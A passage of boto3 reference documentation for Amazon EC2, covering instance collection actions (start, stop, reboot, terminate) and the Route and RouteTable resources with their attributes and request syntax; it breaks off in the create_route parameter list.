+ +Creates an iterable of all Instance resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance_iterator = placement_group.instances.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.Instance) + +Returns + +A list of Instance resources + +reboot(kwargs_) + +Requests a reboot of the specified instances. This operation is asynchronous; it only queues a request to reboot the specified instances. The operation succeeds if the instances are valid and belong to you. Requests to reboot terminated instances are ignored. + +If an instance does not cleanly shut down within a few minutes, Amazon EC2 performs a hard reboot. + +For more information about troubleshooting, see [Getting console output and rebooting instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-console.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/RebootInstances) + +**Request Syntax** + +response = placement_group.instances.reboot( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +start(kwargs_) + +Starts an Amazon EBS-backed instance that you've previously stopped. + +Instances that use Amazon EBS volumes as their root devices can be quickly stopped and started. When an instance is stopped, the compute resources are released and you are not billed for instance usage. However, your root partition Amazon EBS volume remains and continues to persist your data, and you are charged for Amazon EBS volume usage. You can restart your instance at any time. Every time you start your Windows instance, Amazon EC2 charges you for a full instance hour. If you stop and restart your Windows instance, a new instance hour begins and Amazon EC2 charges you for another full instance hour even if you are still within the same 60-minute period when it was stopped. Every time you start your Linux instance, Amazon EC2 charges a one-minute minimum for instance usage, and thereafter charges per second for instance usage. + +Before stopping an instance, make sure it is in a state from which it can be restarted. Stopping an instance does not preserve data stored in RAM. + +Performing this operation on an instance that uses an instance store as its root device returns an error. + +For more information, see [Stopping instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Stop_Start.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/StartInstances) + +**Request Syntax** + +response = placement_group.instances.start( + AdditionalInfo='string', + DryRun=True|False +) + +Parameters + +- **AdditionalInfo** (_string_) -- Reserved. +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'StartingInstances': [ + { + 'CurrentState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'InstanceId': 'string', + 'PreviousState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + } + }, + ] +} + +**Response Structure** + +- _(dict) --_ + + - **StartingInstances** _(list) --_ + + Information about the started instances. + + - _(dict) --_ + + Describes an instance state change. + + - **CurrentState** _(dict) --_ + + The current state of the instance. + + - **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + - 0 : pending + - 16 : running + - 32 : shutting-down + - 48 : terminated + - 64 : stopping + - 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + - **Name** _(string) --_ + + The current state of the instance. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **PreviousState** _(dict) --_ + + The previous state of the instance. + + - **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + - 0 : pending + - 16 : running + - 32 : shutting-down + - 48 : terminated + - 64 : stopping + - 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + - **Name** _(string) --_ + + The current state of the instance. + + +stop(kwargs_) + +Stops an Amazon EBS-backed instance. + +You can use the Stop action to hibernate an instance if the instance is [enabled for hibernation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html#enabling-hibernation) and it meets the [hibernation prerequisites](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html#hibernating-prerequisites) . For more information, see [Hibernate your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +We don't charge usage for a stopped instance, or data transfer fees; however, your root partition Amazon EBS volume remains and continues to persist your data, and you are charged for Amazon EBS volume usage. Every time you start your Windows instance, Amazon EC2 charges you for a full instance hour. If you stop and restart your Windows instance, a new instance hour begins and Amazon EC2 charges you for another full instance hour even if you are still within the same 60-minute period when it was stopped. Every time you start your Linux instance, Amazon EC2 charges a one-minute minimum for instance usage, and thereafter charges per second for instance usage. + +You can't stop or hibernate instance store-backed instances. You can't use the Stop action to hibernate Spot Instances, but you can specify that Amazon EC2 should hibernate Spot Instances when they are interrupted. For more information, see [Hibernating interrupted Spot Instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/spot-interruptions.html#hibernate-spot-instances) in the _Amazon Elastic Compute Cloud User Guide_ . + +When you stop or hibernate an instance, we shut it down. You can restart your instance at any time. Before stopping or hibernating an instance, make sure it is in a state from which it can be restarted. Stopping an instance does not preserve data stored in RAM, but hibernating an instance does preserve data stored in RAM. If an instance cannot hibernate successfully, a normal shutdown occurs. + +Stopping and hibernating an instance is different to rebooting or terminating it. For example, when you stop or hibernate an instance, the root device and any other devices attached to the instance persist. When you terminate an instance, the root device and any other devices attached during the instance launch are automatically deleted. For more information about the differences between rebooting, stopping, hibernating, and terminating instances, see [Instance lifecycle](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-lifecycle.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +When you stop an instance, we attempt to shut it down forcibly after a short while. If your instance appears stuck in the stopping state after a period of time, there may be an issue with the underlying host computer. For more information, see [Troubleshooting stopping your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/TroubleshootingInstancesStopping.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/StopInstances) + +**Request Syntax** + +response = placement_group.instances.stop( + Hibernate=True|False, + DryRun=True|False, + Force=True|False +) + +Parameters + +- **Hibernate** (_boolean_) -- + + Hibernates the instance if the instance was enabled for hibernation at launch. If the instance cannot hibernate successfully, a normal shutdown occurs. For more information, see [Hibernate your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + Default: false + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Force** (_boolean_) -- + + Forces the instances to stop. The instances do not have an opportunity to flush file system caches or file system metadata. If you use this option, you must perform file system check and repair procedures. This option is not recommended for Windows instances. + + Default: false + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'StoppingInstances': [ + { + 'CurrentState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'InstanceId': 'string', + 'PreviousState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + } + }, + ] +} + +**Response Structure** + +- _(dict) --_ + + - **StoppingInstances** _(list) --_ + + Information about the stopped instances. + + - _(dict) --_ + + Describes an instance state change. + + - **CurrentState** _(dict) --_ + + The current state of the instance. + + - **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + - 0 : pending + - 16 : running + - 32 : shutting-down + - 48 : terminated + - 64 : stopping + - 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + - **Name** _(string) --_ + + The current state of the instance. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **PreviousState** _(dict) --_ + + The previous state of the instance. + + - **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + - 0 : pending + - 16 : running + - 32 : shutting-down + - 48 : terminated + - 64 : stopping + - 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + - **Name** _(string) --_ + + The current state of the instance. + + +terminate(kwargs_) + +Shuts down the specified instances. This operation is idempotent; if you terminate an instance more than once, each call succeeds. + +If you specify multiple instances and the request fails (for example, because of a single incorrect instance ID), none of the instances are terminated. + +Terminated instances remain visible after termination (for approximately one hour). + +By default, Amazon EC2 deletes all EBS volumes that were attached when the instance launched. Volumes attached after instance launch continue running. + +You can stop, start, and terminate EBS-backed instances. You can only terminate instance store-backed instances. What happens to an instance differs if you stop it or terminate it. For example, when you stop an instance, the root device and any other devices attached to the instance persist. When you terminate an instance, any attached EBS volumes with the DeleteOnTermination block device mapping parameter set to true are automatically deleted. For more information about the differences between stopping and terminating instances, see [Instance lifecycle](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-lifecycle.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +For more information about troubleshooting, see [Troubleshooting terminating your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/TroubleshootingInstancesShuttingDown.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/TerminateInstances) + +**Request Syntax** + +response = placement_group.instances.terminate( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TerminatingInstances': [ + { + 'CurrentState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'InstanceId': 'string', + 'PreviousState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + } + }, + ] +} + +**Response Structure** + +- _(dict) --_ + - **TerminatingInstances** _(list) --_ + + Information about the terminated instances. + + - _(dict) --_ + + Describes an instance state change. + + - **CurrentState** _(dict) --_ + + The current state of the instance. + + - **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + - 0 : pending + - 16 : running + - 32 : shutting-down + - 48 : terminated + - 64 : stopping + - 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + - **Name** _(string) --_ + + The current state of the instance. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **PreviousState** _(dict) --_ + + The previous state of the instance. + + - **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + - 0 : pending + - 16 : running + - 32 : shutting-down + - 48 : terminated + - 64 : stopping + - 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + - **Name** _(string) --_ + + The current state of the instance. + + +unmonitor(kwargs_) + +Disables detailed monitoring for a running instance. For more information, see [Monitoring your instances and volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-cloudwatch.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/UnmonitorInstances) + +**Request Syntax** + +response = placement_group.instances.unmonitor( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'InstanceMonitorings': [ + { + 'InstanceId': 'string', + 'Monitoring': { + 'State': 'disabled'|'disabling'|'enabled'|'pending' + } + }, + ] +} + +**Response Structure** + +- _(dict) --_ + - **InstanceMonitorings** _(list) --_ + + The monitoring information. + + - _(dict) --_ + + Describes the monitoring of an instance. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **Monitoring** _(dict) --_ + + The monitoring for the instance. + + - **State** _(string) --_ + + Indicates whether detailed monitoring is enabled. Otherwise, basic monitoring is enabled. + + +[Route](#id1248) +-------------------------------------------------------- + +_class_ EC2.Route(_route_table_id_, _destination_cidr_block_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) Route: + +import boto3 + +ec2 = boto3.resource('ec2') +route = ec2.Route('route_table_id','destination_cidr_block') + +Parameters + +- **route_table_id** (_string_) -- The Route's route_table_id identifier. This **must** be set. +- **destination_cidr_block** (_string_) -- The Route's destination_cidr_block identifier. This **must** be set. + +These are the resource's available identifiers: + +- [route_table_id](#EC2.Route.route_table_id "EC2.Route.route_table_id") +- [destination_cidr_block](#EC2.Route.destination_cidr_block "EC2.Route.destination_cidr_block") + +These are the resource's available attributes: + +- [carrier_gateway_id](#EC2.Route.carrier_gateway_id "EC2.Route.carrier_gateway_id") +- [destination_ipv6_cidr_block](#EC2.Route.destination_ipv6_cidr_block "EC2.Route.destination_ipv6_cidr_block") +- [destination_prefix_list_id](#EC2.Route.destination_prefix_list_id "EC2.Route.destination_prefix_list_id") +- [egress_only_internet_gateway_id](#EC2.Route.egress_only_internet_gateway_id "EC2.Route.egress_only_internet_gateway_id") +- [gateway_id](#EC2.Route.gateway_id "EC2.Route.gateway_id") +- [instance_id](#EC2.Route.instance_id "EC2.Route.instance_id") +- [instance_owner_id](#EC2.Route.instance_owner_id "EC2.Route.instance_owner_id") +- [local_gateway_id](#EC2.Route.local_gateway_id "EC2.Route.local_gateway_id") +- [nat_gateway_id](#EC2.Route.nat_gateway_id "EC2.Route.nat_gateway_id") +- [network_interface_id](#EC2.Route.network_interface_id "EC2.Route.network_interface_id") +- [origin](#EC2.Route.origin "EC2.Route.origin") +- [state](#EC2.Route.state "EC2.Route.state") +- [transit_gateway_id](#EC2.Route.transit_gateway_id "EC2.Route.transit_gateway_id") +- [vpc_peering_connection_id](#EC2.Route.vpc_peering_connection_id "EC2.Route.vpc_peering_connection_id") + +These are the resource's available actions: + +- [delete()](#EC2.Route.delete "EC2.Route.delete") +- [get_available_subresources()](#EC2.Route.get_available_subresources "EC2.Route.get_available_subresources") +- [replace()](#EC2.Route.replace "EC2.Route.replace") + +These are the resource's available sub-resources: + +- [RouteTable()](#EC2.Route.RouteTable "EC2.Route.RouteTable") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +route_table_id + +_(string)_ The Route's route_table_id identifier. This **must** be set. + +destination_cidr_block + +_(string)_ The Route's destination_cidr_block identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the load() method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +carrier_gateway_id + +- _(string) --_ + + The ID of the carrier gateway. + + +destination_ipv6_cidr_block + +- _(string) --_ + + The IPv6 CIDR block used for the destination match. + + +destination_prefix_list_id + +- _(string) --_ + + The prefix of the AWS service. + + +egress_only_internet_gateway_id + +- _(string) --_ + + The ID of the egress-only internet gateway. + + +gateway_id + +- _(string) --_ + + The ID of a gateway attached to your VPC. + + +instance_id + +- _(string) --_ + + The ID of a NAT instance in your VPC. + + +instance_owner_id + +- _(string) --_ + + The AWS account ID of the owner of the instance. + + +local_gateway_id + +- _(string) --_ + + The ID of the local gateway. + + +nat_gateway_id + +- _(string) --_ + + The ID of a NAT gateway. + + +network_interface_id + +- _(string) --_ + + The ID of the network interface. + + +origin + +- _(string) --_ + + Describes how the route was created. + + - CreateRouteTable - The route was automatically created when the route table was created. + - CreateRoute - The route was manually added to the route table. + - EnableVgwRoutePropagation - The route was propagated by route propagation. + +state + +- _(string) --_ + + The state of the route. The blackhole state indicates that the route's target isn't available (for example, the specified gateway isn't attached to the VPC, or the specified NAT instance has been terminated). + + +transit_gateway_id + +- _(string) --_ + + The ID of a transit gateway. + + +vpc_peering_connection_id + +- _(string) --_ + + The ID of a VPC peering connection. + + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +delete(kwargs_) + +Deletes the specified route from the specified route table. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteRoute) + +**Request Syntax** + +response = route.delete( + DestinationIpv6CidrBlock='string', + DestinationPrefixListId='string', + DryRun=True|False, + +) + +Parameters + +- **DestinationIpv6CidrBlock** (_string_) -- The IPv6 CIDR range for the route. The value you specify must match the CIDR for the route exactly. +- **DestinationPrefixListId** (_string_) -- The ID of the prefix list for the route. +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +replace(kwargs_) + +Replaces an existing route within a route table in a VPC. You must provide only one of the following: internet gateway, virtual private gateway, NAT instance, NAT gateway, VPC peering connection, network interface, egress-only internet gateway, or transit gateway. + +For more information, see [Route Tables](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Route_Tables.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ReplaceRoute) + +**Request Syntax** + +response = route.replace( + DestinationIpv6CidrBlock='string', + DestinationPrefixListId='string', + DryRun=True|False, + VpcEndpointId='string', + EgressOnlyInternetGatewayId='string', + GatewayId='string', + InstanceId='string', + LocalTarget=True|False, + NatGatewayId='string', + TransitGatewayId='string', + LocalGatewayId='string', + CarrierGatewayId='string', + NetworkInterfaceId='string', + VpcPeeringConnectionId='string' +) + +Parameters + +- **DestinationIpv6CidrBlock** (_string_) -- The IPv6 CIDR address block used for the destination match. The value that you provide must match the CIDR of an existing route in the table. +- **DestinationPrefixListId** (_string_) -- The ID of the prefix list for the route. +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **VpcEndpointId** (_string_) -- The ID of a VPC endpoint. Supported for Gateway Load Balancer endpoints only. +- **EgressOnlyInternetGatewayId** (_string_) -- [IPv6 traffic only] The ID of an egress-only internet gateway. +- **GatewayId** (_string_) -- The ID of an internet gateway or virtual private gateway. +- **InstanceId** (_string_) -- The ID of a NAT instance in your VPC. +- **LocalTarget** (_boolean_) -- Specifies whether to reset the local route to its default target (local ). +- **NatGatewayId** (_string_) -- [IPv4 traffic only] The ID of a NAT gateway. +- **TransitGatewayId** (_string_) -- The ID of a transit gateway. +- **LocalGatewayId** (_string_) -- The ID of the local gateway. +- **CarrierGatewayId** (_string_) -- [IPv4 traffic only] The ID of a carrier gateway. +- **NetworkInterfaceId** (_string_) -- The ID of a network interface. +- **VpcPeeringConnectionId** (_string_) -- The ID of a VPC peering connection. + +Returns + +None + +Sub-resources + +Sub-resources are methods that create a new instance of a child resource. This resource's identifiers get passed along to the child. For more information about sub-resources refer to the [_Resources Introduction Guide_](../../guide/resources.html#subresources-intro). + +RouteTable() + +Creates a RouteTable resource.: + +route_table = route.RouteTable() + +Return type + +[EC2.RouteTable](#EC2.RouteTable "EC2.RouteTable") + +Returns + +A RouteTable resource + +[RouteTable](#id1249) +------------------------------------------------------------------ + +_class_ EC2.RouteTable(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) RouteTable: + +import boto3 + +ec2 = boto3.resource('ec2') +route_table = ec2.RouteTable('id') + +Parameters + +**id** (_string_) -- The RouteTable's id identifier. This **must** be set. + +These are the resource's available identifiers: + +- [id](#EC2.RouteTable.id "EC2.RouteTable.id") + +These are the resource's available attributes: + +- [associations_attribute](#EC2.RouteTable.associations_attribute "EC2.RouteTable.associations_attribute") +- [owner_id](#EC2.RouteTable.owner_id "EC2.RouteTable.owner_id") +- [propagating_vgws](#EC2.RouteTable.propagating_vgws "EC2.RouteTable.propagating_vgws") +- [route_table_id](#EC2.RouteTable.route_table_id "EC2.RouteTable.route_table_id") +- [routes_attribute](#EC2.RouteTable.routes_attribute "EC2.RouteTable.routes_attribute") +- [tags](#EC2.RouteTable.tags "EC2.RouteTable.tags") +- [vpc_id](#EC2.RouteTable.vpc_id "EC2.RouteTable.vpc_id") + +These are the resource's available references: + +- [associations](#EC2.RouteTable.associations "EC2.RouteTable.associations") +- [routes](#EC2.RouteTable.routes "EC2.RouteTable.routes") +- [vpc](#EC2.RouteTable.vpc "EC2.RouteTable.vpc") + +These are the resource's available actions: + +- [associate_with_subnet()](#EC2.RouteTable.associate_with_subnet "EC2.RouteTable.associate_with_subnet") +- [create_route()](#EC2.RouteTable.create_route "EC2.RouteTable.create_route") +- [create_tags()](#EC2.RouteTable.create_tags "EC2.RouteTable.create_tags") +- [delete()](#EC2.RouteTable.delete "EC2.RouteTable.delete") +- [get_available_subresources()](#EC2.RouteTable.get_available_subresources "EC2.RouteTable.get_available_subresources") +- [load()](#EC2.RouteTable.load "EC2.RouteTable.load") +- [reload()](#EC2.RouteTable.reload "EC2.RouteTable.reload") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +id + +_(string)_ The RouteTable's id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.RouteTable.load "EC2.RouteTable.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +associations_attribute + +- _(list) --_ + + The associations between the route table and one or more subnets or a gateway. + + - _(dict) --_ + + Describes an association between a route table and a subnet or gateway. + + - **Main** _(boolean) --_ + + Indicates whether this is the main route table. + + - **RouteTableAssociationId** _(string) --_ + + The ID of the association. + + - **RouteTableId** _(string) --_ + + The ID of the route table. + + - **SubnetId** _(string) --_ + + The ID of the subnet. A subnet ID is not returned for an implicit association. + + - **GatewayId** _(string) --_ + + The ID of the internet gateway or virtual private gateway. + + - **AssociationState** _(dict) --_ + + The state of the association. + + - **State** _(string) --_ + + The state of the association. + + - **StatusMessage** _(string) --_ + + The status message, if applicable. + + +owner_id + +- _(string) --_ + + The ID of the AWS account that owns the route table. + + +propagating_vgws + +- _(list) --_ + + Any virtual private gateway (VGW) propagating routes. + + - _(dict) --_ + + Describes a virtual private gateway propagating route. + + - **GatewayId** _(string) --_ + + The ID of the virtual private gateway. + + +route_table_id + +- _(string) --_ + + The ID of the route table. + + +routes_attribute + +- _(list) --_ + + The routes in the route table. + + - _(dict) --_ + + Describes a route in a route table. + + - **DestinationCidrBlock** _(string) --_ + + The IPv4 CIDR block used for the destination match. + + - **DestinationIpv6CidrBlock** _(string) --_ + + The IPv6 CIDR block used for the destination match. + + - **DestinationPrefixListId** _(string) --_ + + The prefix of the AWS service. + + - **EgressOnlyInternetGatewayId** _(string) --_ + + The ID of the egress-only internet gateway. + + - **GatewayId** _(string) --_ + + The ID of a gateway attached to your VPC. + + - **InstanceId** _(string) --_ + + The ID of a NAT instance in your VPC. + + - **InstanceOwnerId** _(string) --_ + + The AWS account ID of the owner of the instance. + + - **NatGatewayId** _(string) --_ + + The ID of a NAT gateway. + + - **TransitGatewayId** _(string) --_ + + The ID of a transit gateway. + + - **LocalGatewayId** _(string) --_ + + The ID of the local gateway. + + - **CarrierGatewayId** _(string) --_ + + The ID of the carrier gateway. + + - **NetworkInterfaceId** _(string) --_ + + The ID of the network interface. + + - **Origin** _(string) --_ + + Describes how the route was created. + + - CreateRouteTable - The route was automatically created when the route table was created. + - CreateRoute - The route was manually added to the route table. + - EnableVgwRoutePropagation - The route was propagated by route propagation. + - **State** _(string) --_ + + The state of the route. The blackhole state indicates that the route's target isn't available (for example, the specified gateway isn't attached to the VPC, or the specified NAT instance has been terminated). + + - **VpcPeeringConnectionId** _(string) --_ + + The ID of a VPC peering connection. + + +tags + +- _(list) --_ + + Any tags assigned to the route table. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +vpc_id + +- _(string) --_ + + The ID of the VPC. + + +References + +References are related resource instances that have a belongs-to relationship. For more information about references refer to the [_Resources Introduction Guide_](../../guide/resources.html#references-intro). + +associations + +(RouteTableAssociation) The related associations if set, otherwise None. + +routes + +(Route) The related routes if set, otherwise None. + +vpc + +(Vpc) The related vpc if set, otherwise None. + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +associate_with_subnet(kwargs_) + +Associates a subnet in your VPC or an internet gateway or virtual private gateway attached to your VPC with a route table in your VPC. This association causes traffic from the subnet or gateway to be routed according to the routes in the route table. The action returns an association ID, which you need in order to disassociate the route table later. A route table can be associated with multiple subnets. + +For more information, see [Route Tables](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Route_Tables.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AssociateRouteTable) + +**Request Syntax** + +route_table_association = route_table.associate_with_subnet( + DryRun=True|False, + SubnetId='string', + GatewayId='string' +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **SubnetId** (_string_) -- The ID of the subnet. +- **GatewayId** (_string_) -- The ID of the internet gateway or virtual private gateway. + +Return type + +ec2.RouteTableAssociation + +Returns + +RouteTableAssociation resource + +create_route(kwargs_) + +Creates a route in a route table within a VPC. + +You must specify one of the following targets: internet gateway or virtual private gateway, NAT instance, NAT gateway, VPC peering connection, network interface, egress-only internet gateway, or transit gateway. + +When determining how to route traffic, we use the route with the most specific match. For example, traffic is destined for the IPv4 address 192.0.2.3 , and the route table includes the following two IPv4 routes: + +- 192.0.2.0/24 (goes to some target A) +- 192.0.2.0/28 (goes to some target B) + +Both routes apply to the traffic destined for 192.0.2.3 . However, the second route in the list covers a smaller number of IP addresses and is therefore more specific, so we use that route to determine where to target the traffic. + +For more information about route tables, see [Route Tables](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Route_Tables.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateRoute) + +**Request Syntax** + +route = route_table.create_route( + DestinationCidrBlock='string', + DestinationIpv6CidrBlock='string', + DestinationPrefixListId='string', + DryRun=True|False, + VpcEndpointId='string', + EgressOnlyInternetGatewayId='string', + GatewayId='string', + InstanceId='string', + NatGatewayId='string', + TransitGatewayId='string', + LocalGatewayId='string', + CarrierGatewayId='string', + NetworkInterfaceId='string', + VpcPeeringConnectionId='string' +) + +Parameters + +- **DestinationCidrBlock** (_string_) -- The IPv4 CIDR address block used for the destination match. Routing decisions are based on the most specific match. We modify the specified CIDR block to its canonical form; for example, if you specify 100.68.0.18/18 , we modify it to 100.68.0.0/18 . +- **DestinationIpv6CidrBlock** (_string_) -- The IPv6 CIDR block used for the destination match. Routing decisions are based on the most specific match. +- **DestinationPrefixListId** (_string_) -- The ID of a prefix list used for the destination match. +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **VpcEndpointId** (_string_) -- The ID of a VPC endpoint. Supported for Gateway Load Balancer endpoints only. +- **EgressOnlyInternetGatewayId** (_string_) -- [IPv6 traffic only] The ID of an egress-only internet gateway. +- **GatewayId** (_string_) -- The ID of an internet gateway or virtual private gateway attached to your VPC. +- **InstanceId** (_string_) 